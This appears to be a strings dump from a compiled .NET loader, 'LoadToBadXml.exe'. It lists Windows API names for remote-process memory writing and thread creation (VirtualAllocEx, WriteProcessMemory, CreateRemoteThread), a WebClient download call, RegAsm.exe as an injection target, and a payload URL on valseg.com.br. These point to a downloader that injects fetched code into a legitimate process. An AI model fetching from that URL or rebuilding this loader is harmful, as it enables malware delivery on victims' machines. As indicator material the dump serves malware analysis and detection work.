!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
cbReserved2
lpReserved2
<Module>
MEM_RESERVE
PROCESS_INFORMATION
STARTUPINFO
MEM_COMMIT
value__
DownloadData
mscorlib
lpThreadId
dwThreadId
dwProcessId
lpNumberOfBytesRead
CreateRemoteThread
hThread
lpReserved
lpTitle
lpApplicationName
lpCommandLine
ValueType
flAllocationType
GuidAttribute
DebuggableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
dwFillAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
LoadToBadXml.exe
dwXSize
dwYSize
dwStackSize
dwSize
System.Runtime.Versioning
kernel32.dll
LoadToBadXml
Program
System
lpNumberOfBytesWritten
lpProcessInformation
System.Reflection
Exception
lpStartupInfo
lpDesktop
lpBuffer
hStdError
IntPtr
System.Diagnostics
System.Runtime.InteropServices
System.Runtime.CompilerServices
DebuggingModes
bInheritHandles
lpThreadAttributes
lpProcessAttributes
dwCreationFlags
dwFlags
dwXCountChars
dwYCountChars
CreateProcess
hProcess
lpBaseAddress
lpAddress
lpStartAddress
Object
flProtect
System.Net
WebClient
lpEnvironment
hStdInput
hStdOutput
wShowWindow
VirtualAllocEx
ReadProcessMemory
WriteProcessMemory
lpCurrentDirectory
WrapNonExceptionThrows
LoadToBadXml
Copyright
2023
$77ef07cf-ff86-4cd8-be5d-c162f7438c2b
1.0.0.0
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
http://valseg.com.br/hgdhgfh/payload.bin
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
CompanyName
FileDescription
LoadToBadXml
FileVersion
1.0.0.0
InternalName
LoadToBadXml.exe
LegalCopyright
Copyright
2023
LegalTrademarks
OriginalFilename
LoadToBadXml.exe
ProductName
LoadToBadXml
ProductVersion
1.0.0.0
Assembly Version
1.0.0.0